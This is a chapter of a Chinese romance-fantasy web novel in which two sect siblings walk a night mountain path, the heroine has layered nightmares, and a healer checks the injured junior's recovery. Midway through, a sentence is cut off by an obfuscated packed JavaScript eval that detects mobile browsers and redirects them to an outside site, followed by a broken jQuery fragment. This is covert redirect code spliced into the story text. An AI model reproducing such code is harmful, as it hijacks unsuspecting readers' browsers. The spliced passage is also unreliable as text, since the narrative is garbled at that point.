96. 春心乱(四)
作品:《宋师兄今天掉马了么》 他的目力当真是极好,夜色这般浓稠,无灯无火,他却能将细微之处看得如此清晰。
只是这个长处在此刻显得有些不合时宜了。
宋岐灵呼吸一窒,默默在心里替自己掬了把泪。
她偏头躲开那触碰,抬手胡乱在耳周蹭了几下,旋步往前走去,瓮声瓮气道:“山里虫多,怕是沾了蛛丝或是什么小飞虫,不是甚大事……”
她刻意加重了脚步,踩在铺满落叶的山径上发出沙沙声响,试图掩盖自己的心虚。
顾连舟跟在她身后半步之遥,山路崎岖,一阵夜风挟着凉意掠过,他忍不住掩唇低咳两声,脚步虚浮,身形亦随之微晃起来。
前头的脚步声几不可察地慢了下来。
“倒是你……”宋岐灵侧过半边脸,露出她紧绷的下颌线,语调僵硬道,“山中夜露寒重,你伤病未愈,记得关好窗,莫要再着凉了。”
顾连舟望着她那截不肯完全转过来的脖颈,眼底掠过一丝笑意,正要应声,脚底倏尔踩上一块松动的石子,身形不稳间,下意识地伸手扶住了她的手臂。
宋岐灵整个人僵了一瞬。
隔着一层不算厚重的春衫衣料,他掌心的温度竟有些灼人。
那手只虚虚一扶,便一触即分。
“有劳师兄挂心。”顾连舟站直了身,声音带着些病后的微哑,伴着淡淡的笑意,落在耳中显得格外温顺,“我记下了。”
两人并肩走着,距离在不觉间拉近了些,师弟宽大的衣袖随着步伐轻轻摆动,偶尔擦过她的手臂,布料摩挲间,发出几不可闻的窸窣声,每一次轻微的接触,都让宋岐灵不自觉地绷紧脊背,呼吸也跟着放轻了。
她甚至可以隐约嗅到他身上淡淡的药香,混杂着山间清冽的气息,若有若无的萦绕鼻间。
怪哉。
当真是怪哉。
平日里她倒是有说不完的话,怎的此刻却像被什么缚住了舌头,一个字也挣不出了?
心口恍若被什么温涩的东西浸满,沉沉地坠着,每一次呼吸,都牵得那处微微酸胀,几乎要漾出些什么。
想来心中有鬼之人是这般的。
定是如此。
想通了这一关窍,宋岐灵骤然松了一口气,脚步亦轻快起来。
一段陡坡横在眼前,路面碎石遍布。
顾连舟的气息明显重了几分,脚步也愈发滞涩,宋岐灵脚步未停,却无声地伸出一只手,向他递去。
身侧之人步伐微微一顿。
月光将她的指尖照得莹白,几乎晃眼。
顾连舟迟疑了片刻,才轻轻将自己的手腕搭了上去,指尖不可避免地触及师兄腕内的肌肤。
两人一时再无言语,沉默在山径间蔓延,只有彼此交握的手腕处传来清晰的存在感。
他的体温高出自己许多,掌心干燥的皮肤与自己相贴,脉搏有力而规律地跳动着。
宋岐灵目视前方,感受到手心里传来的重量和温度,耳根悄悄漫上一丝不易察觉的热意。
她望向不远处院落隐约的轮廓,闷声道:“快到了。”
夜里的山路果真难走,尤其是带着师弟这个腿脚不灵便的病患……
直至各自回房,关上房门,宋岐灵才将后背紧紧抵在冰凉的门板上,长长舒出一口气。
她褪去外衫,走到桌案前,提笔蘸墨,却是对着符纸凝神了好一会儿。
“……”
心情如滚沸的热汤,如何也静不下来。
想了想,她索性合眼念起了清心咒。
再睁眼,笔尖游走,朱砂在黄纸上蜿蜒而下,汇聚成繁复的纹样。
待无相符成,她轻轻搁下笔,静待符纸上的墨迹自然晾干。
房中烛火微微跳动,映得她侧脸明灭不定。
她缓缓抬手,指尖轻触那仍隐隐发烫的耳垂,随即垂下眼睫,陷入一片无言的沉默之中。
-
吹灭油灯,宋岐灵躺在床上,静静地听着四周的声响。
山间虫鸣时远时近,风拂过草地的传来细碎的“沙沙”声,一切都笼罩在久违的宁静之中。
忽然间,竹墙的另一端传来顾连舟几声压抑的低咳声,宋岐灵下意识扭头看向床侧。
柳岱今夜说过,肺腑愈合会觉内里奇痒无比,咳嗽是再正常不过的反应,若咳得越厉害,说明那伤势恢复得越快,只是在此期间需得多吃些鸡鸭鱼肉,补充营养。
想来是那药泉起了效用。
她稍稍安心,重新合上眼。
风声簌簌,拂过窗沿,宋岐灵只觉眼皮愈发沉重,竟不知不觉睡去了。
睡意朦胧间,耳畔的声音却愈发响亮。
“哗啦啦——”
滂沱大雨无休无止地冲刷着树叶,直把蒲扇大的叶片洗得油光反亮,雨水自她的额顶滑落,汇聚至下巴,最终滴向泥泞的地面。
宋岐灵低头看着自己的双手满是粘腻的泥浆,皱了皱眉头,她如今跪的这片土地,心中有一道声音,好似在诱惑着她做些什么。
“挖吧。”
“挖开它。”
“你会见到你想见的东西。”
“挖呀……”
鬼使神差地,她咽了咽发干的喉咙,手指屈起,十指成爪,猛地插-进湿软的土地里,一下一下,拼命向外土开。
“对了,就是这样,用力些,再用力些!”
“哈哈哈……当真是听话的好孩子,再往下,挖得再深些,那东西就要露出来了……”
那声音越来越尖锐,像针一般扎进她的耳膜,听得宋岐灵眉头紧皱,双手却不受控制地越来越快,越来越快……
指甲似乎断了,鲜血混着泥浆四处流淌,指尖却猝然触到一块坚硬的东西。
雨水顺势而下,将上面的浮泥冲刷开,露出底下惨白的皮肤。
男人浓黑的眉毛下双眸紧闭,高挺的鼻梁因泥土的侵染变得斑驳一片,嘴唇泛着乌青,微微张着,内里盛满了漆黑的泥土。
这是一张死人面。
宋岐灵当即双腿一软,瘫坐在地,浑身发抖地望着泥土中逐渐显露的面容。
这是……宋献。
“不要!”
宋岐灵惊醒时,天还未亮,竹屋内一片漆黑,只有微弱的天光从缝隙渗入,勾勒出桌椅模糊的轮廓。
她只觉口干舌燥,双腿软得几乎无法站立。
勉强撑着床坐起,摸黑至桌案前替自己倒了杯凉茶,她抬袖擦去额角的冷汗,搬来竹凳坐下,忽觉眼前一亮。
她扭头看去,却不知何时,屋子的窗户被支起,露出外面亭亭如盖的梧桐树。
那梧桐枝叶层层叠叠,在夜色中如鬼魅般伸展,宽大的叶片偶尔随风轻晃,投下摇曳不定的黑影,仿佛无数只窥探的手,枝叶几乎要压进屋里来。
她分明记得睡前关严实了窗户,而窗外也并没有这么一棵树……
宋岐灵放下水杯,杯子与桌子相磕,发出“笃”的脆响,一滴液体晃动而出,落在了她的手背上,她僵硬地回过身,垂眸看去,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308959|182273||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发现自己手中不知何时竟握着一只纤细的青玉酒杯。
这只酒杯源源不断地冒出酒水,越来越多,越来越多,满溢而出,流向桌面,流得到处都是。
那道若有似无、女人的轻吟声恍若蛇信,在她耳边嘶嘶作响,几欲钻进她的耳膜中。
“不是渴了么,喝呀,怎么不喝了……”
是谁?
究竟是谁在说话?
天旋地转间,眼前的景致如潮水般退去。
宋岐灵猛地坐起身,心脏在胸腔里狂跳,几乎要撞出来。
她重重地喘了口气,抬手用力捏了捏眉心,试图驱散那盘踞不去的眩晕感。
头疼得像要裂开,周身肌肤沁出一层细密的冷汗,寝衣湿湿地贴在背上,带来一阵冰凉的黏腻感。
“笃笃笃——”一阵清脆的敲门声骤然在耳边响起。
宋岐灵拢紧衣衫,趿拉着寝鞋行至门前,打开房门,便见门外站着修明。
腼腆的青年看着一脸郁气的宋岐灵,露出一抹憨笑:“宋郎君,我瞧你一直不起,便有些担心,哦,对了。”
他往后看了看,继续道:“今日是谷雨,按照咱们青云溪的习俗,今日早食该吃桃花粥,郎君快些收拾,稍后便来院中同大家一起用饭吧。”
说罢,他兀自点点头,转身朝隔壁走去。
又是一阵紧锣密鼓的“笃笃”敲门声,听着修明活络而有力的声音,以及师弟的轻声应答声,宋岐灵揉了揉胀痛的额角,倒没有那么难受了。
一番洗漱过后,几人相聚院中竹桌旁。
修明口中的“桃花粥”,便是用糯米与初开的桃花瓣细细熬成,粥色淡粉,清香扑鼻,桌上另摆了道香椿炒蛋,和一碟清炒菌菇,色泽鲜嫩,看着十分开胃。
柳岱提起茶壶为宋岐灵斟了一杯:“宋兄眼下如此青黑,是昨夜没休息好?这是才摘的雨前茶,清心宁神,最能安抚心神,你尝尝。”
宋岐灵接过茶抿了一口,只觉茶气清馥、入口回甘,不由赞道:“好茶,清润生津,是山泉泡的?”
柳岱轻笑道:“宋兄怕不是睡糊涂了,这山上,怕也只有山泉可饮了。”
俞七在一旁哼哼着搭腔:“是啊,要想喝旁的水,得下山挖井才行喔。”
想起昨夜那场噩梦,宋岐灵不由得苦笑道:“这竹屋舒适,床榻也宽敞,许是骤然有床可睡,反而不习惯,便做了许多乱七八糟的梦。”
闻言,顾连舟抬眼看来,欲言又止,最终什么也没说,垂头搅着面前的粥,低低咳了几声。
柳岱笑道:“若还是困倦,用完饭再去歇一会儿。”
宋岐灵摇头婉拒了他的好意。
一饭毕,柳岱为顾连舟复诊,手指搭在他腕间,面色越发微妙。
顾连舟问:“如何?”
柳岱沉吟道:“顾兄恢复得很快,想来不出半月的功夫,便能痊愈。”
这话他说得已是极为保守,依方才所探的脉象看,顾连舟的恢复速度一日千里,看样子不全然是那药泉之功。
如此想着,他抬手在桌案上轻敲:“恢复得虽快,却也不可大意,牵扯肌理的重活累活便不要做了。”
顾连舟颔首应“是”。
“还有。”
话说半截,柳岱陷入了短暂的沉默。
顾连舟掀眼看去,却见对方笑得人畜无害,“顾兄,你这心躁之症怎的愈发严重了?”
这可完全不像是重伤之人该有的脉象啊。
顾连舟:“……”